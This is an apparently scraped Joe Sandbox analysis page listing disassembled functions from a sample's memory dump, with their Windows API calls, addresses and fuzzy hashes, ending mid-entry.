Associated: 00000003.00000002.447747502.0000000000EDC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000F02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447790106.0000000000F0C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447798752.0000000000F14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_e40000_CKK.jbxd

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: 14847ae54daa1f088471dde6affeabbdac01ee85e24f91b95f588df06a4f45ca
Instruction ID: e02629d24045e691c59801bcf201368607c2b4cbedd1fa2aec1a85c3f1efa03f
Opcode Fuzzy Hash: 14847ae54daa1f088471dde6affeabbdac01ee85e24f91b95f588df06a4f45ca
Instruction Fuzzy Hash: 7E01D4326C9312BEEA252775BC8556B2E94EB157F9720232AF520F12F0EF114E16A584

Uniqueness

Uniqueness Score: -1.00%

Function 00E72D74 Relevance: 9.0, APIs: 6, Instructions: 50COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 00E72D78
_free.LIBCMT ref: 00E72DAB
_free.LIBCMT ref: 00E72DD3
SetLastError.KERNEL32(00000000,?,?,?,?,00E6E6D1,?,00F08A48,00000010,00E44F4A,?,?,00000000,00E83CD6), ref: 00E72DE0
SetLastError.KERNEL32(00000000,?,?,?,?,00E6E6D1,?,00F08A48,00000010,00E44F4A,?,?,00000000,00E83CD6), ref: 00E72DEC
_abort.LIBCMT ref: 00E72DF2

Memory Dump Source

Source File: 00000003.00000002.447687352.0000000000E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000003.00000002.447679499.0000000000E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000EDC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000F02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447790106.0000000000F0C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447798752.0000000000F14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_e40000_CKK.jbxd

Similarity

API ID: ErrorLast$_free$_abort
String ID:
API String ID: 3160817290-0
Opcode ID: f8602d14bd92ebdad4a61c8b89eb7576827ad0559092ce5e82a2d9625ba722db
Instruction ID: f4f44b87e7a7f2cad65053029bfcf22b073f2c3f642cc767a77613655dc20213
Opcode Fuzzy Hash: f8602d14bd92ebdad4a61c8b89eb7576827ad0559092ce5e82a2d9625ba722db
Instruction Fuzzy Hash: F1F028319056013BC6322339BC06E5A26A9AFC17A4F34E11DFB2CB21E6EF2088825260

Uniqueness

Uniqueness Score: -1.00%

Function 00ED8A24 Relevance: 9.0, APIs: 6, Instructions: 49COMMON

Download Yara Rule

APIs

Part of subcall function 00E59639: ExtCreatePen.GDI32 ref: 00E59693
Part of subcall function 00E59639: SelectObject.GDI32 ref: 00E596A2
Part of subcall function 00E59639: BeginPath.GDI32 ref: 00E596B9
Part of subcall function 00E59639: SelectObject.GDI32 ref: 00E596E2

MoveToEx.GDI32(?,-00000002,00000000,00000000), ref: 00ED8A4E
LineTo.GDI32(?,00000003,00000000), ref: 00ED8A62
MoveToEx.GDI32(?,00000000,-00000002,00000000), ref: 00ED8A70
LineTo.GDI32(?,00000000,00000003), ref: 00ED8A80
EndPath.GDI32 ref: 00ED8A90
StrokePath.GDI32(?), ref: 00ED8AA0

Memory Dump Source

Source File: 00000003.00000002.447687352.0000000000E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000003.00000002.447679499.0000000000E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000EDC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000F02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447790106.0000000000F0C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447798752.0000000000F14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_e40000_CKK.jbxd

Similarity

API ID: Path$LineMoveObjectSelect$BeginCreateStroke
String ID:
API String ID: 43455801-0
Opcode ID: 92811e0ce3a2b15a05f74afbbe62621b5e33b1af4d5697fa722a79b229afbf88
Instruction ID: 3d8d872bbe340496467df8325d04dcae833a2bf500abad9110ff38416d0d15c4
Opcode Fuzzy Hash: 92811e0ce3a2b15a05f74afbbe62621b5e33b1af4d5697fa722a79b229afbf88
Instruction Fuzzy Hash: 9511097600114DFFDF129F91EC88EEA7F6CEB08394F108012BA19AA1A1C7719D59DBA0

Uniqueness

Uniqueness Score: -1.00%

Function 00EA51FD Relevance: 9.0, APIs: 6, Instructions: 49COMMON

Download Yara Rule

APIs

GetDC.USER32(00000000), ref: 00EA5218
GetDeviceCaps.GDI32(00000000,00000058), ref: 00EA5229
GetDeviceCaps.GDI32(00000000,0000005A), ref: 00EA5230
ReleaseDC.USER32(00000000,00000000), ref: 00EA5238
MulDiv.KERNEL32 ref: 00EA524F
MulDiv.KERNEL32 ref: 00EA5261

Memory Dump Source

Source File: 00000003.00000002.447687352.0000000000E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000003.00000002.447679499.0000000000E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000EDC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000F02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447790106.0000000000F0C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447798752.0000000000F14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_e40000_CKK.jbxd

Similarity

API ID: CapsDevice$Release
String ID:
API String ID: 1035833867-0
Opcode ID: 7e6cacf4d2f4e7872cb65bbdbaceb291baddaf895ab6bb396414af7fcd189048
Instruction ID: 5ee6e5e43251f6c8ee21dd1dbc540f1468e018313bd64d945987c263a9ebe22b
Opcode Fuzzy Hash: 7e6cacf4d2f4e7872cb65bbdbaceb291baddaf895ab6bb396414af7fcd189048
Instruction Fuzzy Hash: 49018F75A01719BFEB109BA69C49B4EBFB8EF48751F144066FA04BB290D6709804CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 00EAEB20 Relevance: 9.0, APIs: 6, Instructions: 42windowtimethreadCOMMON

Download Yara Rule

APIs

PostMessageW.USER32 ref: 00EAEB30
SendMessageTimeoutW.USER32(?,00000010,00000000,00000000,00000002,000001F4,?), ref: 00EAEB46
GetWindowThreadProcessId.USER32(?,?), ref: 00EAEB55
OpenProcess.KERNEL32(001F0FFF,00000000,?), ref: 00EAEB64
TerminateProcess.KERNEL32 ref: 00EAEB6E
CloseHandle.KERNEL32(00000000), ref: 00EAEB75

Memory Dump Source

Source File: 00000003.00000002.447687352.0000000000E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000003.00000002.447679499.0000000000E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000EDC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000F02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447790106.0000000000F0C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447798752.0000000000F14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_e40000_CKK.jbxd

Similarity

API ID: Process$Message$CloseHandleOpenPostSendTerminateThreadTimeoutWindow
String ID:
API String ID: 839392675-0
Opcode ID: e4268b1669d5fc7ef357529e9ed540a846981f4a7a119c641700315fedf604ac
Instruction ID: 150cd661603dbfd7cf676f9841ff766ae6dbcb98c4eb4d3ad65efa942c1276ed
Opcode Fuzzy Hash: e4268b1669d5fc7ef357529e9ed540a846981f4a7a119c641700315fedf604ac
Instruction Fuzzy Hash: CFF06D72142129BFEA205B53AC0DEAF3B7CEBCAF51F10015AF611E109097A05A05C6B5

Uniqueness

Uniqueness Score: -1.00%

Function 00E97439 Relevance: 9.0, APIs: 6, Instructions: 37windowCOMMON

Download Yara Rule

APIs

GetClientRect.USER32 ref: 00E97452
SendMessageW.USER32(?,00001328,00000000,?), ref: 00E97469
GetWindowDC.USER32(?), ref: 00E97475
GetPixel.GDI32(00000000,?,?), ref: 00E97484
ReleaseDC.USER32(?,00000000), ref: 00E97496
GetSysColor.USER32 ref: 00E974B0

Memory Dump Source

Source File: 00000003.00000002.447687352.0000000000E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000003.00000002.447679499.0000000000E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000EDC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000F02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447790106.0000000000F0C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447798752.0000000000F14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_e40000_CKK.jbxd

Similarity

API ID: ClientColorMessagePixelRectReleaseSendWindow
String ID:
API String ID: 272304278-0
Opcode ID: f2e48a5e8a203443d3c33271ce0f9735b5c93dfd994dafb16a654df9d47eecf3
Instruction ID: 6b1abf6515557d62da2d50c6614d7234559e2bc744a6dd33fd0f560afca48da2
Opcode Fuzzy Hash: f2e48a5e8a203443d3c33271ce0f9735b5c93dfd994dafb16a654df9d47eecf3
Instruction Fuzzy Hash: EC018B31405216EFDB105FA5EC08BEE7BB6FB04751F210161F925B21A1CB311E49EB51

Uniqueness

Uniqueness Score: -1.00%

Function 00EA1874 Relevance: 9.0, APIs: 6, Instructions: 23memorysynchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32 ref: 00EA187F
UnloadUserProfile.USERENV(?,?), ref: 00EA188B
CloseHandle.KERNEL32(?), ref: 00EA1894
CloseHandle.KERNEL32(?), ref: 00EA189C
GetProcessHeap.KERNEL32 ref: 00EA18A5
HeapFree.KERNEL32(00000000), ref: 00EA18AC

Memory Dump Source

Source File: 00000003.00000002.447687352.0000000000E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000003.00000002.447679499.0000000000E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000EDC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000F02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447790106.0000000000F0C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447798752.0000000000F14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_e40000_CKK.jbxd

Similarity

API ID: CloseHandleHeap$FreeObjectProcessProfileSingleUnloadUserWait
String ID:
API String ID: 146765662-0
Opcode ID: 715406c03e5c085824a071c9258aaedfa3a43c1dddc250e49885c144f7f14695
Instruction ID: d614da822dc974fa651dc61df538268893f676eacd53a44d8fa61df08f34cb84
Opcode Fuzzy Hash: 715406c03e5c085824a071c9258aaedfa3a43c1dddc250e49885c144f7f14695
Instruction Fuzzy Hash: 4BE0ED36046112FFDB016FA2FD0C905BF39FF497627208222F225A10B1CB325464DF50

Uniqueness

Uniqueness Score: -1.00%

Function 00EAC5D0 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 191windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00E47620: _wcslen.LIBCMT ref: 00E47625

GetMenuItemInfoW.USER32 ref: 00EAC6EE
_wcslen.LIBCMT ref: 00EAC735
SetMenuItemInfoW.USER32 ref: 00EAC79C
SetMenuDefaultItem.USER32(?,000000FF,00000000), ref: 00EAC7CA

Strings

0, xrefs: 00EAC6AF

Memory Dump Source

Source File: 00000003.00000002.447687352.0000000000E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000003.00000002.447679499.0000000000E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000EDC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000F02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447790106.0000000000F0C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447798752.0000000000F14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_e40000_CKK.jbxd

Similarity

API ID: ItemMenu$Info_wcslen$Default
String ID: 0
API String ID: 1227352736-4108050209
Opcode ID: 605847fbf6f0bbd9b3591af18473fc3ff2abecb18655f213a9d8b8fb0ede521b
Instruction ID: cbc50b5b6453b23a3a1e6e7a0336678204d605d018395e37335225295087895a
Opcode Fuzzy Hash: 605847fbf6f0bbd9b3591af18473fc3ff2abecb18655f213a9d8b8fb0ede521b
Instruction Fuzzy Hash: 2351F1716043019BD715DF38C845BAB77E4AF8E318F242A2AF991FB190DB60E844CF92

Uniqueness

Uniqueness Score: -1.00%

Function 00ECAD64 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 176COMMON

Download Yara Rule

APIs

ShellExecuteExW.SHELL32(0000003C), ref: 00ECAEA3

Part of subcall function 00E47620: _wcslen.LIBCMT ref: 00E47625

GetProcessId.KERNEL32(00000000), ref: 00ECAF38
CloseHandle.KERNEL32(00000000), ref: 00ECAF67

Strings

<, xrefs: 00ECAE6B
@, xrefs: 00ECAE72

Memory Dump Source

Source File: 00000003.00000002.447687352.0000000000E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000003.00000002.447679499.0000000000E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000EDC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000F02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447790106.0000000000F0C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447798752.0000000000F14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_e40000_CKK.jbxd

Similarity

API ID: CloseExecuteHandleProcessShell_wcslen
String ID: <$@
API String ID: 146682121-1426351568
Opcode ID: 718ab0be92067c34ef975ceafcb9c407074784871bf4bf28c79ce06a66bba878
Instruction ID: be7966c8a278d4893d5704f8a0107b02a26ef6b9975dee78fced07550e577778
Opcode Fuzzy Hash: 718ab0be92067c34ef975ceafcb9c407074784871bf4bf28c79ce06a66bba878
Instruction Fuzzy Hash: 7F715470A002199FCB14DF54D584A9EBBF1EF08318F0894ADE856BB352CB35ED46CB91

Uniqueness

Uniqueness Score: -1.00%

Function 00EA719E Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 120comlibraryloaderCOMMON

Download Yara Rule

APIs

CoCreateInstance.OLE32 ref: 00EA7206
SetErrorMode.KERNEL32(00000001), ref: 00EA723C
GetProcAddress.KERNEL32 ref: 00EA724D
SetErrorMode.KERNEL32(00000000), ref: 00EA72CF

Strings

DllGetClassObject, xrefs: 00EA7242

Memory Dump Source

Source File: 00000003.00000002.447687352.0000000000E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000003.00000002.447679499.0000000000E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000EDC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000F02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447790106.0000000000F0C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447798752.0000000000F14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_e40000_CKK.jbxd

Similarity

API ID: ErrorMode$AddressCreateInstanceProc
String ID: DllGetClassObject
API String ID: 753597075-1075368562
Opcode ID: 4f028085f7fdb0b7a35351b5efafca64da0cf17e9a8bda4de1e5ac6f21c51942
Instruction ID: 977ad8cc838fc0e221e033bbc923bb2a4ae59e945a5346e7ca7e94f7752afa8f
Opcode Fuzzy Hash: 4f028085f7fdb0b7a35351b5efafca64da0cf17e9a8bda4de1e5ac6f21c51942
Instruction Fuzzy Hash: D5418EB1604204AFDB15CF54CC84B9A7BB9EF49314F2490AABD45EF21AD7B0E945CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 00ED2F17 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 78windowlibraryCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,00000467,00000000,?), ref: 00ED2F8D
LoadLibraryW.KERNEL32(?), ref: 00ED2F94
SendMessageW.USER32(?,00000467,00000000,00000000), ref: 00ED2FA9
DestroyWindow.USER32 ref: 00ED2FB1

Strings

SysAnimate32, xrefs: 00ED2F68

Memory Dump Source

Source File: 00000003.00000002.447687352.0000000000E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000003.00000002.447679499.0000000000E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000EDC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000F02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447790106.0000000000F0C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447798752.0000000000F14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_e40000_CKK.jbxd

Similarity

API ID: MessageSend$DestroyLibraryLoadWindow
String ID: SysAnimate32
API String ID: 3529120543-1011021900
Opcode ID: 9349e014e0ce185d58f7e3685ac2ab1c88fca2f51a8ecaf3a2c6cf7fda0ecd43
Instruction ID: b71acb02d47604ac5bd48fb0be1ee07bfae6c61e0688dfc2a78c68a40d7f74ba
Opcode Fuzzy Hash: 9349e014e0ce185d58f7e3685ac2ab1c88fca2f51a8ecaf3a2c6cf7fda0ecd43
Instruction Fuzzy Hash: 2C219F71204205AFEB104F64DC80EBB37B9EB69368F106A1EFA50F2290D772DC52A760

Uniqueness

Uniqueness Score: -1.00%

Function 00E64D6D Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 38libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32 ref: 00E64D8D
GetProcAddress.KERNEL32 ref: 00E64DA0
FreeLibrary.KERNEL32 ref: 00E64DC3

Strings

CorExitProcess, xrefs: 00E64D98
mscoree.dll, xrefs: 00E64D86

Memory Dump Source

Source File: 00000003.00000002.447687352.0000000000E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000003.00000002.447679499.0000000000E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000EDC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000F02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447790106.0000000000F0C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447798752.0000000000F14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_e40000_CKK.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 961263a0705ac434497514321bf30bba9a01d767c6c041685291de66b7b8a5d8
Instruction ID: c7322128ec536831a87c3b8e78fd65c9853a6815767fe1da06cd6706fb20e3f2
Opcode Fuzzy Hash: 961263a0705ac434497514321bf30bba9a01d767c6c041685291de66b7b8a5d8
Instruction Fuzzy Hash: A7F0AF74A41219BFDB109F91EC09BAEBBB8EF44795F1001A5F805B22A0CF705984DA91

Uniqueness

Uniqueness Score: -1.00%

Function 00E44E90 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 24libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(kernel32.dll), ref: 00E44E9C
GetProcAddress.KERNEL32 ref: 00E44EAE
FreeLibrary.KERNEL32 ref: 00E44EC0

Strings

Wow64DisableWow64FsRedirection, xrefs: 00E44EA8
kernel32.dll, xrefs: 00E44E94

Memory Dump Source

Source File: 00000003.00000002.447687352.0000000000E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000003.00000002.447679499.0000000000E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000EDC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000F02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447790106.0000000000F0C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447798752.0000000000F14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_e40000_CKK.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: Wow64DisableWow64FsRedirection$kernel32.dll
API String ID: 145871493-3689287502
Opcode ID: 0d49e1595c5238e619a4dec6f29f2cc96fdf1d5d982c0dea5d696a144cfc7cf5
Instruction ID: a5b8a858ae6d76e5c5b7353a520cca2b82410db50d34fdd949574660c2285df4
Opcode Fuzzy Hash: 0d49e1595c5238e619a4dec6f29f2cc96fdf1d5d982c0dea5d696a144cfc7cf5
Instruction Fuzzy Hash: BFE08635B036339FD22117267C1CB6F6668EF81BA67151117FC00F6290DF60CD06C0A2

Uniqueness

Uniqueness Score: -1.00%

Function 00E44E59 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 22libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(kernel32.dll), ref: 00E44E62
GetProcAddress.KERNEL32 ref: 00E44E74
FreeLibrary.KERNEL32 ref: 00E44E87

Strings

Wow64RevertWow64FsRedirection, xrefs: 00E44E6E
kernel32.dll, xrefs: 00E44E5B

Memory Dump Source

Source File: 00000003.00000002.447687352.0000000000E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000003.00000002.447679499.0000000000E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000EDC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000F02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447790106.0000000000F0C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447798752.0000000000F14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_e40000_CKK.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: Wow64RevertWow64FsRedirection$kernel32.dll
API String ID: 145871493-1355242751
Opcode ID: 685e76d49d0c0599f32aa529235d4e99c93b12f77d4b7a7161479d0591f630fd
Instruction ID: cf264d2b584d901d701e47c044a955c78ba24434dc9bca83246cba6c233affbc
Opcode Fuzzy Hash: 685e76d49d0c0599f32aa529235d4e99c93b12f77d4b7a7161479d0591f630fd
Instruction Fuzzy Hash: BED0C231A036335B8B221B267C08E8F6B2CEF81B953151613B800F7194CF20CD02C1D1

Uniqueness

Uniqueness Score: -1.00%

Function 00ECA387 Relevance: 7.8, APIs: 5, Instructions: 256COMMON

Download Yara Rule

APIs

GetCurrentProcessId.KERNEL32 ref: 00ECA427
OpenProcess.KERNEL32(00000410,00000000,00000000), ref: 00ECA435
GetProcessIoCounters.KERNEL32(00000000,?), ref: 00ECA468
CloseHandle.KERNEL32(?), ref: 00ECA63D

Memory Dump Source

Source File: 00000003.00000002.447687352.0000000000E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000003.00000002.447679499.0000000000E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000EDC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000F02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447790106.0000000000F0C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447798752.0000000000F14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_e40000_CKK.jbxd

Similarity

API ID: Process$CloseCountersCurrentHandleOpen
String ID:
API String ID: 3488606520-0
Opcode ID: 74dccc195e38275952283b3ab0844b3a31a4f490e99d76ddc150d3e02205b561
Instruction ID: e81242b043f1189b3a933e80154d22d4634f8b5ed72fe5fa2b9d69a330efe4b1
Opcode Fuzzy Hash: 74dccc195e38275952283b3ab0844b3a31a4f490e99d76ddc150d3e02205b561
Instruction Fuzzy Hash: 8DA1C1716043009FD720DF24D986F2AB7E1AF84718F18985DF95AAB392D771EC05CB82

Uniqueness

Uniqueness Score: -1.00%

Function 00EAE3FB Relevance: 7.7, APIs: 5, Instructions: 167filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 00EADDE0: GetFullPathNameW.KERNEL32 ref: 00EADDFD

Part of subcall function 00EADDE0: GetFullPathNameW.KERNEL32 ref: 00EADE16

Part of subcall function 00EAE199: GetFileAttributesW.KERNEL32 ref: 00EAE19A

lstrcmpiW.KERNEL32 ref: 00EAE473
MoveFileW.KERNEL32 ref: 00EAE4AC
_wcslen.LIBCMT ref: 00EAE5EB
_wcslen.LIBCMT ref: 00EAE603
SHFileOperationW.SHELL32 ref: 00EAE650

Memory Dump Source

Source File: 00000003.00000002.447687352.0000000000E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000003.00000002.447679499.0000000000E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000EDC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000F02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447790106.0000000000F0C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447798752.0000000000F14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_e40000_CKK.jbxd

Similarity

API ID: File$FullNamePath_wcslen$AttributesMoveOperationlstrcmpi
String ID:
API String ID: 3183298772-0
Opcode ID: 4fffc37df1ad8ea38d65ad114a0e2a98afd416b9b4214b492b98ae7630fc1d26
Instruction ID: c9b7f0c46393860761603c79110719b1bb92513c94719fdaa37aa6efa8532d7b
Opcode Fuzzy Hash: 4fffc37df1ad8ea38d65ad114a0e2a98afd416b9b4214b492b98ae7630fc1d26
Instruction Fuzzy Hash: C25193B24083459BC724DB94EC819DBB3ECAF99344F10191EF589E7192EF34B5888766

Uniqueness

Uniqueness Score: -1.00%

Function 00ECB9C9 Relevance: 7.7, APIs: 5, Instructions: 167registryCOMMON

Download Yara Rule

APIs

Part of subcall function 00E49CB3: _wcslen.LIBCMT ref: 00E49CBD

Part of subcall function 00ECC998: CharUpperBuffW.USER32(?,?), ref: 00ECC9B5
Part of subcall function 00ECC998: _wcslen.LIBCMT ref: 00ECC9F1
Part of subcall function 00ECC998: _wcslen.LIBCMT ref: 00ECCA68
Part of subcall function 00ECC998: _wcslen.LIBCMT ref: 00ECCA9E

RegConnectRegistryW.ADVAPI32(?,?,?), ref: 00ECBAA5
RegOpenKeyExW.ADVAPI32 ref: 00ECBB00
RegEnumKeyExW.ADVAPI32(?,-00000001,?,?,00000000,00000000,00000000,?), ref: 00ECBB63
RegCloseKey.ADVAPI32(?), ref: 00ECBBA6
RegCloseKey.ADVAPI32(00000000), ref: 00ECBBB3

Memory Dump Source

Source File: 00000003.00000002.447687352.0000000000E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000003.00000002.447679499.0000000000E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000EDC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000F02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447790106.0000000000F0C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447798752.0000000000F14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_e40000_CKK.jbxd

Similarity

API ID: _wcslen$Close$BuffCharConnectEnumOpenRegistryUpper
String ID:
API String ID: 826366716-0
Opcode ID: ed70b07f19392b05eaaf879fc978ddf3c07f8d656895a689dab2052be7e3e45d
